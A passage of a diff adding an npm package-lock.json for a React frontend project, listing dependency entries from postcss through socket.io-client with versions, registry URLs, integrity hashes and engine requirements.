"sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/postcss": {+ "version": "8.5.6",+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",+ "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",+ "dev": true,+ "funding": [+ {+ "type": "opencollective",+ "url": "https://opencollective.com/postcss/"+ },+ {+ "type": "tidelift",+ "url": "https://tidelift.com/funding/github/npm/postcss"+ },+ {+ "type": "github",+ "url": "https://github.com/sponsors/ai"+ }+ ],+ "license": "MIT",+ "dependencies": {+ "nanoid": "^3.3.11",+ "picocolors": "^1.1.1",+ "source-map-js": "^1.2.1"+ },+ "engines": {+ "node": "^10 || ^12 || >=14"+ }+ },+ "node_modules/prelude-ls": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",+ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">= 0.8.0"+ }+ },+ "node_modules/prettier": {+ "version": "3.6.2",+ "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz",+ "integrity": "sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==",+ "dev": true,+ "bin": {+ "prettier": "bin/prettier.cjs"+ },+ "engines": {+ "node": ">=14"+ },+ "funding": {+ "url": "https://github.com/prettier/prettier?sponsor=1"+ }+ },+ "node_modules/prop-types": {+ "version": "15.8.1",+ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",+ "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",+ "dev": true,+ "dependencies": {+ "loose-envify": "^1.4.0",+ "object-assign": "^4.1.1",+ "react-is": "^16.13.1"+ }+ },+ "node_modules/prop-types/node_modules/react-is": {+ "version": "16.13.1",+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",+ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==",+ "dev": true+ },+ "node_modules/property-information": {+ "version": "7.1.0",+ "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.1.0.tgz",+ "integrity": "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/proxy-from-env": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",+ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="+ },+ "node_modules/punycode": {+ "version": "2.3.1",+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",+ "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/queue-microtask": {+ "version": "1.2.3",+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",+ "dev": true,+ "funding": [+ {+ "type": "github",+ "url": "https://github.com/sponsors/feross"+ },+ {+ "type": "patreon",+ "url": "https://www.patreon.com/feross"+ },+ {+ "type": "consulting",+ "url": "https://feross.org/support"+ }+ ],+ "license": "MIT"+ },+ "node_modules/react": {+ "version": "19.2.0",+ "resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz",+ "integrity": "sha512-tmbWg6W31tQLeB5cdIBOicJDJRR2KzXsV7uSK9iNfLWQ5bIZfxuPEHp7M8wiHyHnn0DD1i7w3Zmin0FtkrwoCQ==",+ "license": "MIT",+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/react-dom": {+ "version": "19.2.0",+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.0.tgz",+ "integrity": "sha512-UlbRu4cAiGaIewkPyiRGJk0imDN2T3JjieT6spoL2UeSf5od4n5LB/mQ4ejmxhCFT1tYe8IvaFulzynWovsEFQ==",+ "license": "MIT",+ "dependencies": {+ "scheduler": "^0.27.0"+ },+ "peerDependencies": {+ "react": "^19.2.0"+ }+ },+ "node_modules/react-hook-form": {+ "version": "7.66.0",+ "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.66.0.tgz",+ "integrity": "sha512-xXBqsWGKrY46ZqaHDo+ZUYiMUgi8suYu5kdrS20EG8KiL7VRQitEbNjm+UcrDYrNi1YLyfpmAeGjCZYXLT9YBw==",+ "engines": {+ "node": ">=18.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/react-hook-form"+ },+ "peerDependencies": {+ "react": "^16.8.0 || ^17 || ^18 || ^19"+ }+ },+ "node_modules/react-icons": {+ "version": "5.5.0",+ "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.5.0.tgz",+ "integrity": "sha512-MEFcXdkP3dLo8uumGI5xN3lDFNsRtrjbOEKDLD7yv76v4wpnEq2Lt2qeHaQOr34I/wPN3s3+N08WkQ+CW37Xiw==",+ "peerDependencies": {+ "react": "*"+ }+ },+ "node_modules/react-is": {+ "version": "19.2.0",+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.0.tgz",+ "integrity": "sha512-x3Ax3kNSMIIkyVYhWPyO09bu0uttcAIoecO/um/rKGQ4EltYWVYtyiGkS/3xMynrbVQdS69Jhlv8FXUEZehlzA==",+ "peer": true+ },+ "node_modules/react-markdown": {+ "version": "10.1.0",+ "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-10.1.0.tgz",+ "integrity": "sha512-qKxVopLT/TyA6BX3Ue5NwabOsAzm0Q7kAPwq6L+wWDwisYs7R8vZ0nRXqq6rkueboxpkjvLGU9fWifiX/ZZFxQ==",+ "dependencies": {+ "@types/hast": "^3.0.0",+ "@types/mdast": "^4.0.0",+ "devlop": "^1.0.0",+ "hast-util-to-jsx-runtime": "^2.0.0",+ "html-url-attributes": "^3.0.0",+ "mdast-util-to-hast": "^13.0.0",+ "remark-parse": "^11.0.0",+ "remark-rehype": "^11.0.0",+ "unified": "^11.0.0",+ "unist-util-visit": "^5.0.0",+ "vfile": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ },+ "peerDependencies": {+ "@types/react": ">=18",+ "react": ">=18"+ }+ },+ "node_modules/react-redux": {+ "version": "9.2.0",+ "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz",+ "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==",+ "dependencies": {+ "@types/use-sync-external-store": "^0.0.6",+ "use-sync-external-store": "^1.4.0"+ },+ "peerDependencies": {+ "@types/react": "^18.2.25 || ^19",+ "react": "^18.0 || ^19",+ "redux": "^5.0.0"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "redux": {+ "optional": true+ }+ }+ },+ "node_modules/react-refresh": {+ "version": "0.18.0",+ "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz",+ "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/react-remove-scroll": {+ "version": "2.7.1",+ "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.7.1.tgz",+ "integrity": "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA==",+ "dependencies": {+ "react-remove-scroll-bar": "^2.3.7",+ "react-style-singleton": "^2.2.3",+ "tslib": "^2.1.0",+ "use-callback-ref": "^1.3.3",+ "use-sidecar": "^1.1.3"+ },+ "engines": {+ "node": ">=10"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/react-remove-scroll-bar": {+ "version": "2.3.8",+ "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.8.tgz",+ "integrity": "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==",+ "dependencies": {+ "react-style-singleton": "^2.2.2",+ "tslib": "^2.0.0"+ },+ "engines": {+ "node": ">=10"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/react-router": {+ "version": "7.9.5",+ "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.9.5.tgz",+ "integrity": "sha512-JmxqrnBZ6E9hWmf02jzNn9Jm3UqyeimyiwzD69NjxGySG6lIz/1LVPsoTCwN7NBX2XjCEa1LIX5EMz1j2b6u6A==",+ "dependencies": {+ "cookie": "^1.0.1",+ "set-cookie-parser": "^2.6.0"+ },+ "engines": {+ "node": ">=20.0.0"+ },+ "peerDependencies": {+ "react": ">=18",+ "react-dom": ">=18"+ },+ "peerDependenciesMeta": {+ "react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/react-router-dom": {+ "version": "7.9.5",+ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.9.5.tgz",+ "integrity": "sha512-mkEmq/K8tKN63Ae2M7Xgz3c9l9YNbY+NHH6NNeUmLA3kDkhKXRsNb/ZpxaEunvGo2/3YXdk5EJU3Hxp3ocaBPw==",+ "dependencies": {+ "react-router": "7.9.5"+ },+ "engines": {+ "node": ">=20.0.0"+ },+ "peerDependencies": {+ "react": ">=18",+ "react-dom": ">=18"+ }+ },+ "node_modules/react-style-singleton": {+ "version": "2.2.3",+ "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.3.tgz",+ "integrity": "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==",+ "dependencies": {+ "get-nonce": "^1.0.0",+ "tslib": "^2.0.0"+ },+ "engines": {+ "node": ">=10"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/recharts": {+ "version": "3.4.1",+ "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.4.1.tgz",+ "integrity": "sha512-35kYg6JoOgwq8sE4rhYkVWwa6aAIgOtT+Ob0gitnShjwUwZmhrmy7Jco/5kJNF4PnLXgt9Hwq+geEMS+WrjU1g==",+ "dependencies": {+ "@reduxjs/toolkit": "1.x.x || 2.x.x",+ "clsx": "^2.1.1",+ "decimal.js-light": "^2.5.1",+ "es-toolkit": "^1.39.3",+ "eventemitter3": "^5.0.1",+ "immer": "^10.1.1",+ "react-redux": "8.x.x || 9.x.x",+ "reselect": "5.1.1",+ "tiny-invariant": "^1.3.3",+ "use-sync-external-store": "^1.2.2",+ "victory-vendor": "^37.0.2"+ },+ "engines": {+ "node": ">=18"+ },+ "peerDependencies": {+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",+ "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",+ "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"+ }+ },+ "node_modules/redux": {+ "version": "5.0.1",+ "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz",+ "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w=="+ },+ "node_modules/redux-thunk": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz",+ "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==",+ "peerDependencies": {+ "redux": "^5.0.0"+ }+ },+ "node_modules/reflect.getprototypeof": {+ "version": "1.0.10",+ "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",+ "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.9",+ "es-errors": "^1.3.0",+ "es-object-atoms": "^1.0.0",+ "get-intrinsic": "^1.2.7",+ "get-proto": "^1.0.1",+ "which-builtin-type": "^1.2.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/regexp.prototype.flags": {+ "version": "1.5.4",+ "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz",+ "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "define-properties": "^1.2.1",+ "es-errors": "^1.3.0",+ "get-proto": "^1.0.1",+ "gopd": "^1.2.0",+ "set-function-name": "^2.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/remark-parse": {+ "version": "11.0.0",+ "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz",+ "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==",+ "dependencies": {+ "@types/mdast": "^4.0.0",+ "mdast-util-from-markdown": "^2.0.0",+ "micromark-util-types": "^2.0.0",+ "unified": "^11.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/remark-rehype": {+ "version": "11.1.2",+ "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.2.tgz",+ "integrity": "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==",+ "dependencies": {+ "@types/hast": "^3.0.0",+ "@types/mdast": "^4.0.0",+ "mdast-util-to-hast": "^13.0.0",+ "unified": "^11.0.0",+ "vfile": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/reselect": {+ "version": "5.1.1",+ "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz",+ "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w=="+ },+ "node_modules/resolve": {+ "version": "2.0.0-next.5",+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz",+ "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==",+ "dev": true,+ "dependencies": {+ "is-core-module": "^2.13.0",+ "path-parse": "^1.0.7",+ "supports-preserve-symlinks-flag": "^1.0.0"+ },+ "bin": {+ "resolve": "bin/resolve"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/resolve-from": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=4"+ }+ },+ "node_modules/reusify": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",+ "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "iojs": ">=1.0.0",+ "node": ">=0.10.0"+ }+ },+ "node_modules/rollup": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.2.tgz",+ "integrity": "sha512-MHngMYwGJVi6Fmnk6ISmnk7JAHRNF0UkuucA0CUW3N3a4KnONPEZz+vUanQP/ZC/iY1Qkf3bwPWzyY84wEks1g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@types/estree": "1.0.8"+ },+ "bin": {+ "rollup": "dist/bin/rollup"+ },+ "engines": {+ "node": ">=18.0.0",+ "npm": ">=8.0.0"+ },+ "optionalDependencies": {+ "@rollup/rollup-android-arm-eabi": "4.53.2",+ "@rollup/rollup-android-arm64": "4.53.2",+ "@rollup/rollup-darwin-arm64": "4.53.2",+ "@rollup/rollup-darwin-x64": "4.53.2",+ "@rollup/rollup-freebsd-arm64": "4.53.2",+ "@rollup/rollup-freebsd-x64": "4.53.2",+ "@rollup/rollup-linux-arm-gnueabihf": "4.53.2",+ "@rollup/rollup-linux-arm-musleabihf": "4.53.2",+ "@rollup/rollup-linux-arm64-gnu": "4.53.2",+ "@rollup/rollup-linux-arm64-musl": "4.53.2",+ "@rollup/rollup-linux-loong64-gnu": "4.53.2",+ "@rollup/rollup-linux-ppc64-gnu": "4.53.2",+ "@rollup/rollup-linux-riscv64-gnu": "4.53.2",+ "@rollup/rollup-linux-riscv64-musl": "4.53.2",+ "@rollup/rollup-linux-s390x-gnu": "4.53.2",+ "@rollup/rollup-linux-x64-gnu": "4.53.2",+ "@rollup/rollup-linux-x64-musl": "4.53.2",+ "@rollup/rollup-openharmony-arm64": "4.53.2",+ "@rollup/rollup-win32-arm64-msvc": "4.53.2",+ "@rollup/rollup-win32-ia32-msvc": "4.53.2",+ "@rollup/rollup-win32-x64-gnu": "4.53.2",+ "@rollup/rollup-win32-x64-msvc": "4.53.2",+ "fsevents": "~2.3.2"+ }+ },+ "node_modules/run-parallel": {+ "version": "1.2.0",+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",+ "dev": true,+ "funding": [+ {+ "type": "github",+ "url": "https://github.com/sponsors/feross"+ },+ {+ "type": "patreon",+ "url": "https://www.patreon.com/feross"+ },+ {+ "type": "consulting",+ "url": "https://feross.org/support"+ }+ ],+ "license": "MIT",+ "dependencies": {+ "queue-microtask": "^1.2.2"+ }+ },+ "node_modules/safe-array-concat": {+ "version": "1.1.3",+ "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",+ "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.2",+ "get-intrinsic": "^1.2.6",+ "has-symbols": "^1.1.0",+ "isarray": "^2.0.5"+ },+ "engines": {+ "node": ">=0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/safe-push-apply": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz",+ "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==",+ "dev": true,+ "dependencies": {+ "es-errors": "^1.3.0",+ "isarray": "^2.0.5"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/safe-regex-test": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",+ "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "es-errors": "^1.3.0",+ "is-regex": "^1.2.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/scheduler": {+ "version": "0.27.0",+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",+ "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==",+ "license": "MIT"+ },+ "node_modules/semver": {+ "version": "6.3.1",+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",+ "dev": true,+ "license": "ISC",+ "bin": {+ "semver": "bin/semver.js"+ }+ },+ "node_modules/set-cookie-parser": {+ "version": "2.7.2",+ "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz",+ "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw=="+ },+ "node_modules/set-function-length": {+ "version": "1.2.2",+ "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",+ "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",+ "dev": true,+ "dependencies": {+ "define-data-property": "^1.1.4",+ "es-errors": "^1.3.0",+ "function-bind": "^1.1.2",+ "get-intrinsic": "^1.2.4",+ "gopd": "^1.0.1",+ "has-property-descriptors": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/set-function-name": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",+ "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",+ "dev": true,+ "dependencies": {+ "define-data-property": "^1.1.4",+ "es-errors": "^1.3.0",+ "functions-have-names": "^1.2.3",+ "has-property-descriptors": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/set-proto": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz",+ "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==",+ "dev": true,+ "dependencies": {+ "dunder-proto": "^1.0.1",+ "es-errors": "^1.3.0",+ "es-object-atoms": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/shebang-command": {+ "version": "2.0.0",+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "shebang-regex": "^3.0.0"+ },+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/shebang-regex": {+ "version": "3.0.0",+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/side-channel": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",+ "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",+ "dev": true,+ "dependencies": {+ "es-errors": "^1.3.0",+ "object-inspect": "^1.13.3",+ "side-channel-list": "^1.0.0",+ "side-channel-map": "^1.0.1",+ "side-channel-weakmap": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/side-channel-list": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",+ "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",+ "dev": true,+ "dependencies": {+ "es-errors": "^1.3.0",+ "object-inspect": "^1.13.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/side-channel-map": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",+ "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "es-errors": "^1.3.0",+ "get-intrinsic": "^1.2.5",+ "object-inspect": "^1.13.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/side-channel-weakmap": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",+ "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "es-errors": "^1.3.0",+ "get-intrinsic": "^1.2.5",+ "object-inspect": "^1.13.3",+ "side-channel-map": "^1.0.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/socket.io-client": {+ "version": "4.8.1",+ "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.1.tgz",+ "integrity": "sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==",+ "dependencies": {+ "@socket.io/component-emitter": "~3.1.0",+ "debug": "~4.3.2",+ "engine.io-client": "~6.6.1",+ "socket.io-parser": "~4.2.4"+ },+ "engines": {+ "node": ">=10.0.0"+ }+ },+ "node_modules/socket.io-client/node_modules/debug": {+ "version": "4.3.7",+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",+ "integrity": 